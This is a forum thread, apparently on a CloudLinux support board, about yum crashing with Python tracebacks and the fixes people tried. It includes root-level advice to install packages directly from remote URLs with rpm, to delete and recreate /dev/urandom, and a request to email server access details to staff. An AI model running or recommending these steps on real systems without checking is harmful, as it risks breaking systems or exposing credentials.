Announcement

Collapse
No announcement yet.

post update - yum issues

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • post update - yum issues

    I tried yum clean all even tried forcing re-install of some yum/rhn/python packages. This is what I get:

    ]# yum update
    Loaded plugins: rhnplugin, security
    Traceback (most recent call last):
    File "/usr/bin/yum", line 29, in ?
    yummain.user_main(sys.argv[1:], exit_code=True)
    File "/usr/share/yum-cli/yummain.py", line 309, in user_main
    errcode = main(args)
    File "/usr/share/yum-cli/yummain.py", line 157, in main
    base.getOptionsConfig(args)
    File "/usr/share/yum-cli/cli.py", line 187, in getOptionsConfig
    self.conf
    File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 664, in <lambda>
    conf = property(fget=lambda self: self._getConfig(),
    File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 253, in _getConfig
    self.plugins.run(init)
    File "/usr/lib/python2.4/site-packages/yum/plugins.py", line 179, in run
    func(conduitcls(self, self.base, conf, **kwargs))
    File "/usr/share/yum-plugins/rhnplugin.py", line 151, in init_hook
    if channel[label] not in rhnChannel.channel_blacklist \
    AttributeError: module object has no attribute channel_blacklist
    ]#

  • #2
    This is fairly rare issue, not 100 sure where it comes out from, but the solution is to do this:

    for x86_64 system:
    rpm -Uvh http://repo.cloudlinux.com/cloudlinu...nux.noarch.rpm

    for 32bit system
    rpm -Uvh http://repo.cloudlinux.com/cloudlinu...nux.noarch.rpm

    After that everything should work.

    Comment


    • #3
      Got the same problem. The solution works indeed.
      Thanks!!

      Comment


      • #4
        Hello,

        First i would like to thank you for the hint above, however it did not seem to resolve my issues with yum under cloud linux ( 64 bit / x86_64 ):

        Please note that i have tried the following :

        * rebuilding the rpm database
        * installing the packages provided in the above post by Igor

        *************
        # yum update
        Loaded plugins: fastestmirror, rhnplugin
        Traceback (most recent call last):
        File "/usr/bin/yum", line 29, in ?
        yummain.user_main(sys.argv[1:], exit_code=True)
        File "/usr/share/yum-cli/yummain.py", line 309, in user_main
        errcode = main(args)
        File "/usr/share/yum-cli/yummain.py", line 157, in main
        base.getOptionsConfig(args)
        File "/usr/share/yum-cli/cli.py", line 187, in getOptionsConfig
        self.conf
        File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 664, in <lambda>
        conf = property(fget=lambda self: self._getConfig(),
        File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 253, in _getConfig
        self.plugins.run(init)
        File "/usr/lib/python2.4/site-packages/yum/plugins.py", line 179, in run
        func(conduitcls(self, self.base, conf, **kwargs))
        File "/usr/share/yum-plugins/rhnplugin.py", line 117, in init_hook
        login_info = up2dateAuth.getLoginInfo()
        File "/usr/share/rhn/up2date_client/up2dateAuth.py", line 219, in getLoginInfo
        login()
        File "/usr/share/rhn/up2date_client/up2dateAuth.py", line 183, in login
        maybeUpdateVer sion()
        File "/usr/share/rhn/up2date_client/up2dateAuth.py", line 45, in maybeUpdateVersion
        systemVer = up2dateUtils.getVer sion()
        File "/usr/share/rhn/up2date_client/up2dateUtils.py", line 43, in getVersion
        os_release, version, release = _getOSVersionAndRelease()
        File "/usr/share/rhn/up2date_client/up2dateUtils.py", line 33, in _getOSVersionAndRelease
        raise up2dateErrors.RpmError(
        up2date_client.up2dateErrors.RpmError: RPM error. The message was:
        Could not determine what version of Red Hat Linux you are running.
        If you get this error, try running

        rpm --rebuilddb
        *************

        i would very much appreciate some assistance on this .

        Best Regards,

        Comment


        • #5
          Could you send server access info either either support channel, or directly to me at iseletsk@cloudlinux.com

          The instructions should have resolved the issue, so I am not sure what else it could be

          Comment


          • #6
            Hi,

            I have responded via email to you directly, please let me know what you find.

            Thank you once more for your brilliant support and assistance.

            Kind Regards,
            B.Bozhev

            Comment


            • #7
              Im having the same problem, and no amount of searching or attempting cleans, rebuilds, or the suggested rpm -Uvh http://... seems to work. Any suggestions?

              Traceback (most recent call last):
              File "/usr/bin/yum", line 29, in ?
              yummain.user_main(sys.argv[1:], exit_code=True)
              File "/usr/share/yum-cli/yummain.py", line 309, in user_main
              errcode = main(args)
              File "/usr/share/yum-cli/yummain.py", line 178, in main
              result, resultmsgs = base.doCommands()
              File "/usr/share/yum-cli/cli.py", line 345, in doCommands
              self._getTs(needTsRemove)
              File "/usr/lib/python2.4/site-packages/yum/depsolve.py", line 101, in _getTs
              self._getTsInfo(remove_only)
              File "/usr/lib/python2.4/site-packages/yum/depsolve.py", line 112, in _getTsInfo
              pkgSack = self.pkgSack
              File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 662, in <lambda>
              pkgSack = property(fget=lambda self: self._getSacks(),
              File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 516, in _getSacks
              self.plugins.run(exclude)
              File "/usr/lib/python2.4/site-packages/yum/plugins.py", line 179, in run
              func(conduitcls(self, self.base, conf, **kwargs))
              File "/usr/lib/yum-plugins/security.py", line 488, in exclude_hook
              md_info = ysp_gen_metadata(conduit.getRepos().listEnabled())
              File "/usr/lib/yum-plugins/security.py", line 76, in ysp_gen_metadata
              md_info.add(repo)
              File "/usr/lib/python2.4/site-packages/yum/update_md.py", line 424, in add
              for event, elem in iterparse(infile):
              File "<string>", line 64, in __iter__
              SyntaxError: mismatched tag: line 224, column 29

              Comment


              • #8
                Did you try this:
                rpm -Uvh http://repo.cloudlinux.com/cloudlinu...nux.noarch.rpm

                It was known to resolve such issue.

                Comment


                • #9
                  I apologize for the delay in responding - the popup login form hasn worked for me. I was able to find the actual login page today though.

                  At any rate, I just setup another server and am having the exact same issue. I did in fact try the suggestion you just offered. Is there anything else you could suggest please? Thank you for your help!

                  Comment


                  • #10
                    @Igor the pop-up login form really doesn work.

                    @David the solution to your problem is :

                    rm -rf /dev/urandom
                    mknod -m 644 /dev/urandom c 1 9

                    However please note that you most probably have a faulty initial installation, or the source was corrupted in some way to bring the system to this state, since this error is known to happen in only previous version early 5.0 and latest 4.x of CentOS , and is common for VPS OS templates under OpenVZ due to faulty building.

                    Hope this helps

                    Edit:: Note this has worked for me on CentOS 5.x x86 and x86_64

                    Comment


                    • #11
                      Thank you Bozhidar, I will try your suggestions soon and report back as to the success.

                      This server is CentOS 5.6 x86_64 / cPanel 11.30.0 (build 32)

                      Comment


                      • #12
                        Unfortunately, it still doesn work even after your suggestion.

                        EDIT: it may be important to note that this occurs for me no when running yum update but when running yum check-update --security.

                        Comment


                        • #13
                          Hello,

                          We have the exact same problem;

                          # yum check-update --security
                          Loaded plugins: fastestmirror, rhnplugin, security
                          Loading mirror speeds fr om cached hostfile
                          * cloudlinux-base: repo.cloudlinux.com
                          * cloudlinux-updates: repo.cloudlinux.com
                          * cloudlinux-x86_64-server-5: de-proxy.cl-mirror.net
                          Lim iting package lists to security relevant ones
                          Traceback (most recent call last):
                          File "/usr/bin/yum", line 29, in ?
                          yummain.user_main(sys.argv[1:], exit_code=True)
                          File "/usr/share/yum-cli/yummain.py", line 309, in user_main
                          errcode = main(args)
                          File "/usr/share/yum-cli/yummain.py", line 178, in main
                          result, resultmsgs = base.doCommands()
                          File "/usr/share/yum-cli/cli.py", line 345, in doCommands
                          self._getTs(needTsRemove)
                          File "/usr/lib/python2.4/site-packages/yum/depsolve.py", line 101, in _getTs
                          self._getTsInfo(remove_only)
                          File "/usr/lib/python2.4/site-packages/yum/depsolve.py", line 112, in _getTsInfo
                          pkgSack = self.pkgSack
                          File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 662, in <lambda>
                          pkgSack = property(fget=lambda self: self._getSacks(),
                          File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 516, in _getSacks
                          self.plugins.run(exclude)
                          File "/usr/lib/python2.4/site-packages/yum/plugins.py", line 179, in run
                          func(conduitcls(self, self.base, conf, **kwargs))
                          File "/usr/lib/yum-plugins/security.py", line 488, in exclude_hook
                          md_info = ysp_gen_metadata(conduit.getRepos().listEnabled())
                          File "/usr/lib/yum-plugins/security.py", line 76, in ysp_gen_metadata
                          md_info.add(repo)
                          File "/usr/lib/python2.4/site-packages/yum/update_md.py", line 424, in add
                          for event, elem in iterparse(infile):
                          File "<string>", line 64, in __iter__
                          SyntaxError: not well-formed (invalid token): line 1924, column 33

                          This error doesn appear using CentOS 5.6 with the same rpm packages installed;

                          CloudLinux 5.6;

                          redhat-rpm-config-8.0.45-32.el5.cloudlinux
                          rpm-4.4.2.3-22.el5
                          rpm-build-4.4.2.3-22.el5
                          rpm-libs-4.4.2.3-22.el5
                          rpm-python-4.4.2.3-22.el5
                          rpmforge-release-0.5.2-2.el5.rf

                          CentOS 5.6:

                          redhat-rpm-config-8.0.45-32.el5.centos
                          rpm-4.4.2.3-22.el5
                          rpm-build-4.4.2.3-22.el5
                          rpm-libs-4.4.2.3-22.el5
                          rpm-python-4.4.2.3-22.el5
                          rpmforge-release-0.5.2-2.el5.rf

                          Also the used Python versions appears to be the same: Python 2.4.3

                          Could you help us out providing a solution? At this point we are unable to monitor (security) updates through Nagios.

                          Thank you in advance.

                          Comment

                          Working...
                          X